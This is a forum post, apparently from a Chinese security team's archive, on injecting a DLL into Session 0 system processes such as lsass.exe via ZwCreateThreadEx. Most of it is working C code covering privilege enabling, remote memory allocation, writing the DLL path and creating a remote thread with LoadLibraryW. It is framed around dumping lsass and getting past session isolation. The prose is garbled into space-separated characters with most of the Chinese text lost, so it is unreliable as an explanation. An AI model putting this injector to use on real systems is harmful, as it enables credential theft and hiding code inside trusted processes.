[18554] 2021-04-30_远程线程注入Dll,突破Session0

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2021-04-30_远程线程注入Dll,突破Session0 线 D l l S e s s i o n   0   B u f f e r   H A C K   2 0 2 1 - 0 4 - 3 0 : l s a s s d u m p , l s a s s , l s a s s s e s s i o n   0 W i n d o w s   X P W i n d o w s   S e r v e r   2 0 0 3 W i n d o w s S e s s i o n   0 使 W i n d o w s w i n d o w s , s e s s i o n   0     S E S S I O N   0 线   C r e a t e R e m o t e T h r e a d   线   D L L , Z w C r e a t e T h r e a d E x 线 , C r e a t e R e m o t e T h r e a d   Z w C r e a t e T h r e a d E x , Z w C r e a t e T h r e a d E x   , Z w C r e a t e T h r e a d E x 7 C r e a t e S u s p e n d e d C r e a t e T h r e a d F l a g s 1 , 线 , Z w C r e a t e T h r e a d E x , 7 0 , 西 W i n 1 0   V S 2 0 1 9
d l l : , d l l 6 4 , , e x e 6 4 , e x e   B O O L   A P I E N T R Y   D l l M a i n ( H M O D U L E   h M o d u l e , D W O R D     u l _ r e a s o n _ f o r _ c a l l , L P V O I D   l p R e s e r v e d ) { s w i t c h   ( u l _ r e a s o n _ f o r _ c a l l ) { c a s e   D L L _ P R O C E S S _ A T T A C H : { M e s s a g e B o x ( N U L L ,   L " 线 " ,   L " " ,   N U L L ) ; b r e a k ; } c a s e   D L L _ T H R E A D _ A T T A C H : c a s e   D L L _ T H R E A D _ D E T A C H : c a s e   D L L _ P R O C E S S _ D E T A C H : b r e a k ; } r e t u r n   T R U E ; }   B O O L   E n b a l e P r i v i l e g e s ( H A N D L E   h P r o c e s s ,   L P C W S T R   p s z P r i v i l e g e s N a m e )   {           H A N D L E   h T o k e n   =   N U L L ;           L U I D   l u i d V a l u e   =   {   0   } ;           T O K E N _ P R I V I L E G E S   t o k e n P r i v i l e g e s   =   {   0   } ;           B O O L   b R e t   =   F A L S E ;           D W O R D   d w R e t   =   0 ;           / /  
  h t t p s : / / w w w . w r i t e - b u g . c o m / a r t i c l e / 2 0 1 2 . h t m l   A P I Z w C r e a t e T h r e a d E x Z w C r e a t e T h r e a d E x     n t d l l . d l l   使   G e t P r o c A d d r e s s     n t d l l . d l l             b R e t   =   : : O p e n P r o c e s s T o k e n ( h P r o c e s s ,   T O K E N _ A D J U S T _ P R I V I L E G E S ,   & h T o k e n ) ;           i f   ( F A L S E   = =   b R e t )           {                   p r i n t f ( " O p e n P r o c e s s T o k e n " ) ;                   r e t u r n   F A L S E ;           }           / /     p s z P r i v i l e g e s N a m e   L U I D           b R e t   =   : : L o o k u p P r i v i l e g e V a l u e ( N U L L ,   p s z P r i v i l e g e s N a m e ,   & l u i d V a l u e ) ;           i f   ( F A L S E   = =   b R e t )           {                       p r i n t f ( " L o o k u p P r i v i l e g e V a l u e " ) ;                   r e t u r n   F A L S E ;           }           / /             t o k e n P r i v i l e g e s . P r i v i l e g e C o u n t   =   1 ;           t o k e n P r i v i l e g e s . P r i v i l e g e s [ 0 ] . L u i d   =   l u i d V a l u e ;           t o k e n P r i v i l e g e s . P r i v i l e g e s [ 0 ] . A t t r i b u t e s   =   S E _ P R I V I L E G E _ E N A B L E D ;           / /   访           b R e t   =   : : A d j u s t T o k e n P r i v i l e g e s ( h T o k e n ,   F A L S E ,   & t o k e n P r i v i l e g e s ,   0 ,   N U L L ,   N U L L ) ;           i f   ( F A L S E   = =   b R e t )           {                   p r i n t f ( " A d j u s t T o k e n P r i v i l e g e s " ) ;                   r e t u r n   F A L S E ;           }           e l s e           {                   / /                     d w R e t   =   : : G e t L a s t E r r o r ( ) ;                   i f   ( E R R O R _ S U C C E S S   = =   d w R e t )                   {                           r e t u r n   T R U E ;                   }                   e l s e   i f   ( E R R O R _ N O T _ A L L _ A S S I G N E D   = =   d w R e t )                   {                           p r i n t f ( " E R R O R _ N O T _ A L L _ A S S I G N E D " ) ;                           r e t u r n   F A L S E ;                   }           }           r e t u r n   F A L S E ;   }
6 4 3 2 , 6 4 3 2 d l l , C r e a t e R e m o t e T h r e a d   Z w C r e a t e T h r e a d E x D W O R D   W I N A P I   Z w C r e a t e T h r e a d E x (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   U L O N G   C r e a t e T h r e a d F l a g s ,                   S I Z E _ T   Z e r o B i t s ,                   S I Z E _ T   S t a c k S i z e ,                   S I Z E _ T   M a x i m u m S t a c k S i z e ,                   L P V O I D   p U n k o w n ) ;   D W O R D   W I N A P I   Z w C r e a t e T h r e a d E x (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   B O O L   C r e a t e S u s p e n d e d ,                   D W O R D   d w S t a c k S i z e ,                   D W O R D   d w 1 ,                   D W O R D   d w 2 ,                   L P V O I D   p U n k o w n ) ;   D W O R D   _ I n j e c t S y s T h r e a d ( D W O R D   _ P i d ,   L P C W S T R   p s D l l F i l l N a m e )   {           / /           H A N D L E   h p r o c e s s ;           H A N D L E   h T h r e a d ;           D W O R D   _ S I Z E   =   0 ;           L P V O I D   p A l l o c   =   N U L L ;           D W O R D   p s D l l A d d r   =   0 ;           F A R P R O C   p T h r e a d F u n c t i o n ;           D W O R D   Z w R e t   =   0 ;           h p r o c e s s   =   : : O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E ,   _ P i d ) ;           / / L o a d l i b r a r y           _ S I Z E   =   ( _ t c s l e n ( p s D l l F i l l N a m e )   +   1 )   *   s i z e o f ( T C H A R ) ;           p A l l o c   =   : : V i r t u a l A l l o c E x ( h p r o c e s s ,   N U L L ,   _ S I Z E ,   M E M _ C O M M I T ,   P A G E _ R E A D W R I T E ) ;           i f   ( p A l l o c   = =   N U L L )           {                   p r i n t f ( " V i r t u a l A l l o c E x E R R O R " ) ;
                  p r i n t f ( " V i r t u a l A l l o c E x E R R O R " ) ;                   r e t u r n   F A L S E ;           }           B O O L   x   =   : : W r i t e P r o c e s s M e m o r y ( h p r o c e s s ,   p A l l o c ,   p s D l l F i l l N a m e ,   _ S I Z E ,   N U L L ) ;           i f   ( F A L S E   = =   x )           {                   p r i n t f ( " W r i t e P r o c e s s M e m o r y E R R O R " ) ;                   r e t u r n   F A L S E ;           }           H M O D U L E   h N t d l l   =   L o a d L i b r a r y ( L " n t d l l . d l l " ) ;           i f   ( h N t d l l   = =   N U L L )           {                   p r i n t f ( " L o a d L i b r a r y E R R O R " ) ;                   r e t u r n   F A L S E ;           }           p T h r e a d F u n c t i o n   =   : : G e t P r o c A d d r e s s ( : : G e t M o d u l e H a n d l e ( L " k e r n e l 3 2 . d l l " ) ,   " L o a d L i b r a r y W " ) ;   # i f d e f   _ W I N 6 4           t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w C r e a t e T h r e a d E x ) (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   U L O N G   C r e a t e T h r e a d F l a g s ,                   S I Z E _ T   Z e r o B i t s ,                   S I Z E _ T   S t a c k S i z e ,                   S I Z E _ T   M a x i m u m S t a c k S i z e ,                   L P V O I D   p U n k o w n                   ) ;   # e l s e           t y p e d e f   D W O R D ( W I N A P I *   t y p e d e f _ Z w C r e a t e T h r e a d E x ) (                   P H A N D L E   T h r e a d H a n d l e ,                   A C C E S S _ M A S K   D e s i r e d A c c e s s ,                   L P V O I D   O b j e c t A t t r i b u t e s ,                   H A N D L E   P r o c e s s H a n d l e ,                   L P T H R E A D _ S T A R T _ R O U T I N E   l p S t a r t A d d r e s s ,                   L P V O I D   l p P a r a m e t e r ,                   B O O L   C r e a t e S u s p e n d e d ,                   D W O R D   d w S t a c k S i z e ,                   D W O R D   d w 1 ,                   D W O R D   d w 2 ,                   L P V O I D   p U n k o w n                   ) ;   # e n d i f           t y p e d e f _ Z w C r e a t e T h r e a d E x   Z w C r e a t e T h r e a d E x   =   N U L L ;           Z w C r e a t e T h r e a d E x   =   ( t y p e d e f _ Z w C r e a t e T h r e a d E x ) : : G e t P r o c A d d r e s s ( h N t d l l ,   " Z w C r e a t e T h r e a d E x " ) ;
e x p l o r e r . e x e l s a s s . e x e   ,           i f   ( Z w C r e a t e T h r e a d E x   = =   N U L L )           {                   p r i n t f ( " Z w C r e a t e T h r e a d E x E R R O R " ) ;                   r e t u r n   F A L S E ;           }           H A N D L E   h R e m o t e T h r e a d ;           Z w R e t   =   Z w C r e a t e T h r e a d E x ( & h R e m o t e T h r e a d ,   P R O C E S S _ A L L _ A C C E S S ,   N U L L ,   h p r o c e s s ,                   ( L P T H R E A D _ S T A R T _ R O U T I N E ) p T h r e a d F u n c t i o n ,   p A l l o c ,   0 ,   0 ,   0 ,   0 ,   N U L L ) ;           i f   ( N U L L   = =   h R e m o t e T h r e a d )           {                   p r i n t f ( " 线 " ) ;                   C l o s e H a n d l e ( h p r o c e s s ) ;                   r e t u r n   F A L S E ;           }           W a i t F o r S i n g l e O b j e c t ( h R e m o t e T h r e a d ,   - 1 ) ;           V i r t u a l F r e e E x ( h p r o c e s s ,   p A l l o c ,   0 ,   M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h R e m o t e T h r e a d ) ;           C l o s e H a n d l e ( h p r o c e s s ) ;           F r e e L i b r a r y ( h N t d l l ) ;           r e t u r n   T R U E ;   }
  使 P r o c e x p c s r s s . e x e
, 访 , , 0 , 0 , , , , h t t p s : / / w w w . w r i t e - b u g . c o m / a r t i c l e / 2 0 1 3 . h t m l h t t p s : / / i d i o t c 4 t . c o m / c o d e - a n d - d l l - p r o c e s s - i n j e c t i o n / b y p a s s - s e s s i o n - 0 - i n j e c t i o n
稿 B u f f e r
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则